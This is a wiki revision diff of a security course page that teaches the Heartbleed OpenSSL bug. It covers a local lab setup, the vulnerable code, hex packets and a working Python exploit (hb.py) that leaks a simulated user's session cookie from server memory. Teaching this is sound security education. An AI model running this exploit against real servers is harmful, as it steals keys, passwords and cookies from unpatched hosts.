This shows you the differences between two versions of the page.
Both sides previous revision Previous revision Next revision | Previous revision | ||
session:extra:heartbleed-poc [2014/07/31 09:49] vladum |
session:extra:heartbleed-poc [2020/07/19 12:49] (current) |
||
---|---|---|---|
Line 1: | Line 1: | ||
- | = Extra - Heartbleed | + | ====== 0x0Cb. |
- | == Information Leak Attacks | + | ===== Information Leak ===== |
- | == Environment Setup | + | In the context of binary exploitation, |
- | We are going to setup a minimal vulnerable environment to experiment with the exploit. We need a vulnerable OpenSSL version and a webserver. We also need to configure a basic website | + | More generally, this class of attacks includes any method that leads to the exposure of secret information (e.g., documents, keys). Besides software bugs, things like too much logging can also count as information leakage. For example, leaving the debug logging output of your web application can result in leaking paths on the hosting machine |
- | === Download Nginx & OpenSSL | + | A very famous and recent bug that leaks memory content is Heartbleed. The vulnerability was discovered in OpenSSL' |
+ | * encryption keys | ||
+ | * passwords | ||
+ | * session cookies | ||
+ | * personal identifiable information (e.g., credit card numbers) | ||
+ | |||
+ | This section will go through a Proof-of-Concept exploit that will enable us to leak a normal user's session cookie for a vulnerable server (localhost). | ||
+ | ===== Environment Setup ===== | ||
+ | |||
+ | To setup a minimal environment, | ||
+ | |||
+ | ==== Download Nginx & OpenSSL | ||
* [[https:// | * [[https:// | ||
* [[http:// | * [[http:// | ||
- | === Compile Nginx & vulnerable OpenSSL | + | ==== Compile Nginx & vulnerable OpenSSL |
<code bash> | <code bash> | ||
Line 40: | Line 51: | ||
**Continue from here if your Perl version is older than 5.18.X.** | **Continue from here if your Perl version is older than 5.18.X.** | ||
+ | |||
+ | Note that we are only building Nginx, which will take care of running '' | ||
<code text> | <code text> | ||
Line 59: | Line 72: | ||
</ | </ | ||
- | === Basic SSL website | + | ==== Basic SSL website |
Prepare a self-signed certificate: | Prepare a self-signed certificate: | ||
Line 107: | Line 120: | ||
sudo chown vladum: / | sudo chown vladum: / | ||
echo “Hello” > / | echo “Hello” > / | ||
+ | </ | ||
+ | |||
+ | Start the server: | ||
+ | |||
+ | <code bash> | ||
+ | ~$ ~/ | ||
</ | </ | ||
You should see the page live at https:// | You should see the page live at https:// | ||
- | == Vulnerability | + | ===== Vulnerability |
+ | General information about this vulnerability can be obtained from [[http:// | ||
+ | The TLS Heartbeat protocol extension (see [[http:// | ||
+ | |||
+ | <code text> | ||
+ | A HeartbeatRequest message can arrive almost at any time during the | ||
+ | | ||
+ | | ||
+ | | ||
+ | |||
+ | [...] | ||
+ | |||
+ | When a HeartbeatRequest message is received and sending a | ||
+ | | ||
+ | | ||
+ | | ||
+ | | ||
+ | </ | ||
+ | |||
+ | Both Heartbeat messages have the following format: | ||
+ | |||
+ | <code c> | ||
+ | | ||
+ | HeartbeatMessageType type; | ||
+ | uint16 payload_length; | ||
+ | opaque payload[HeartbeatMessage.payload_length]; | ||
+ | opaque padding[padding_length]; | ||
+ | } HeartbeatMessage; | ||
+ | </ | ||
+ | |||
+ | The vulnerable OpenSSL allocates memory for the response (using '' | ||
+ | |||
+ | <code c> | ||
+ | /* Allocate memory for the response, size is 1 bytes | ||
+ | * message type, plus 2 bytes payload length, plus | ||
+ | * payload, plus padding | ||
+ | */ | ||
+ | buffer = OPENSSL_malloc(1 + 2 + payload + padding); | ||
+ | bp = buffer; | ||
+ | |||
+ | /* Enter response type, length and copy payload */ | ||
+ | *bp++ = TLS1_HB_RESPONSE; | ||
+ | s2n(payload, | ||
+ | memcpy(bp, pl, payload); | ||
+ | </ | ||
+ | |||
+ | If the attacker sends a '' | ||
+ | |||
+ | ===== Exploit ===== | ||
+ | |||
+ | A TLS channel is established after the initial handshake part of the protocol. Since the Heartbeat RFC specifies the a Heartbeat Request can be send at any time, we simply have to initiate a TLS connection with a '' | ||
+ | |||
+ | < | ||
+ | More details about the TLS handshake protocol can be found [[http:// | ||
+ | </ | ||
+ | |||
+ | The '' | ||
+ | |||
+ | <code text> | ||
+ | 16 03 02 00 31 # TLS Header | ||
+ | 01 00 00 2d # Handshake header | ||
+ | 03 02 # ClientHello field: version number (TLS 1.1) | ||
+ | 50 0b af bb b7 | ||
+ | 5a b8 3e f0 ab | ||
+ | 9a e3 f3 9c 63 | ||
+ | 15 33 41 37 ac | ||
+ | fd 6c 18 1a 24 | ||
+ | 60 dc 49 67 c2 | ||
+ | fd 96 # ClientHello field: random | ||
+ | 00 # ClientHello field: session id | ||
+ | 00 04 # ClientHello field: cipher suite length | ||
+ | 00 33 c0 11 # ClientHello field: cipher suite(s) | ||
+ | 01 # ClientHello field: compression support, length | ||
+ | 00 # ClientHello field: compression support, no compression (0) | ||
+ | 00 00 # ClientHello field: extension length (0) | ||
+ | </ | ||
+ | |||
+ | After sending this, we can read the server' | ||
+ | |||
+ | <code text> | ||
+ | 18 # Content type = 18 (Heartbeat message) | ||
+ | 03 02 # Version | ||
+ | 00 03 # Packet length | ||
+ | 01 # Heartbeat message type (1 = request) | ||
+ | FF FF # Payload length | ||
+ | # There is no actual message, just an empty string | ||
+ | </ | ||
+ | |||
+ | Exploit code: | ||
+ | |||
+ | <file python hb.py> | ||
+ | import socket | ||
+ | import time | ||
+ | |||
+ | CLIENT_HELLO = ''' | ||
+ | 16 03 02 00 31 # TLS Header | ||
+ | 01 00 00 2d # Handshake header | ||
+ | 03 02 # ClientHello field: version number (TLS 1.1) | ||
+ | 50 0b af bb b7 | ||
+ | 5a b8 3e f0 ab | ||
+ | 9a e3 f3 9c 63 | ||
+ | 15 33 41 37 ac | ||
+ | fd 6c 18 1a 24 | ||
+ | 60 dc 49 67 c2 | ||
+ | fd 96 # ClientHello field: random | ||
+ | 00 # ClientHello field: session id | ||
+ | 00 04 # ClientHello field: cipher suite length | ||
+ | 00 33 c0 11 # ClientHello field: cipher suite(s) | ||
+ | 01 # ClientHello field: compression support, length | ||
+ | 00 # ClientHello field: compression support, no compression (0) | ||
+ | 00 00 # ClientHello field: extension length (0) | ||
+ | ''' | ||
+ | |||
+ | BAD_HB = ''' | ||
+ | 18 # Content type = 18 (Heartbeat message) | ||
+ | 03 02 # Version | ||
+ | 00 03 # Packet length | ||
+ | 01 # Heartbeat message type (1 = request) | ||
+ | FF FF # Payload length | ||
+ | # There is no actual message, just an empty string | ||
+ | ''' | ||
+ | |||
+ | def no_comments(p): | ||
+ | r = '' | ||
+ | next_line = False | ||
+ | for line in p.split(' | ||
+ | for hexbyte in line.split(' | ||
+ | if len(hexbyte) == 0 or hexbyte[0] == '#': | ||
+ | next_line = True | ||
+ | break | ||
+ | r += hexbyte.decode(' | ||
+ | if next_line: | ||
+ | continue | ||
+ | return r | ||
+ | |||
+ | def recvall(s, timeout=3): | ||
+ | s.setblocking(0) | ||
+ | total_data = [] | ||
+ | data = '' | ||
+ | begin = time.time() | ||
+ | while True: | ||
+ | if total_data and time.time() - begin > timeout: | ||
+ | break | ||
+ | elif time.time() - begin > timeout * 2: | ||
+ | break | ||
+ | try: | ||
+ | data = s.recv(8192) | ||
+ | if data: | ||
+ | total_data.append(data) | ||
+ | begin = time.time() | ||
+ | else: | ||
+ | time.sleep(0.1) | ||
+ | except: | ||
+ | pass | ||
+ | return '' | ||
+ | |||
+ | def attack(host, | ||
+ | s = socket.socket(socket.AF_INET, | ||
+ | s.connect((host, | ||
+ | |||
+ | s.send(no_comments(CLIENT_HELLO)) | ||
+ | recvall(s) | ||
+ | s.send(no_comments(BAD_HB)) | ||
+ | print recvall(s) | ||
+ | |||
+ | attack(' | ||
+ | </ | ||
+ | |||
+ | To simulate a real life situation, we'll have to send a dummy request to the webserver from a //normal// user. Use the following file for this: | ||
+ | |||
+ | <file python alice.py> | ||
+ | import requests | ||
+ | c = { | ||
+ | ' | ||
+ | } | ||
+ | requests.get(' | ||
+ | </ | ||
+ | |||
+ | Running '' | ||
+ | |||
+ | <code bash> | ||
+ | ~$ python alice.py | ||
+ | ~$ python hb.py | ||
+ | ... | ||
+ | ultr@_s3cr3t_c00kie | ||
+ | ... | ||
+ | </ | ||
- | == Exploit | + | Game over! |